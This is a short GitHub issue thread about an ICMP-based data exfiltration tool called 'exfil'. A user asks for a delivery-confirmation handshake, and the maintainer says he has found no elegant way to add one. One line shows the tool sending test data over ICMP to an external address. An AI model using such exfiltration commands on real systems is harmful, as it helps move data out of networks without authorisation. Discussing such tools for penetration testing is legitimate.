exfil icon indicating copy to clipboard operation
exfil copied to clipboard

server confirmation/handshake

Open 0xtf opened this issue 9 years ago • 3 comments

Currently, and due to the nature of exfil, the application will send data regardless if there is a listening server or not.

Example of a non-existent server:

/root/exfil-master/exfil.py -d "TEST" -s 1.0.0.0 ping_data Sending data to 1.0.0.0 via ICMP. Data Sent: TEST

Would it be possible to have the client knowledge the delivery of the content? Have some sort of handshake between client and server?

The idea is that, from the client side, one can confirm if the data was in fact delivered to a server, and not just sent.

Thank you.

0xtf avatar Apr 17 '17 09:04 0xtf

Sorry I haven't responded yet. I'm still trying to find an elegant way to add a handshake.

averagesecurityguy avatar Apr 27 '17 03:04 averagesecurityguy

Unfortunately, I can't see an elegant way to add a handshake at this time. Will leave the issue open for now.

averagesecurityguy avatar Apr 27 '17 04:04 averagesecurityguy

Thanks for the update. Even if it isn't a "proper" handshake, a simple message from the server on connection could also be an indication of successful connection.

Personally, for most of my use cases, if the server sent a simple "connected" that would be more than enough, as the idea is only to verify (when reading a log, for example) that the connection actually happened.

Just my 2 cents :). Thank you for looking into it.

0xtf avatar Apr 27 '17 21:04 0xtf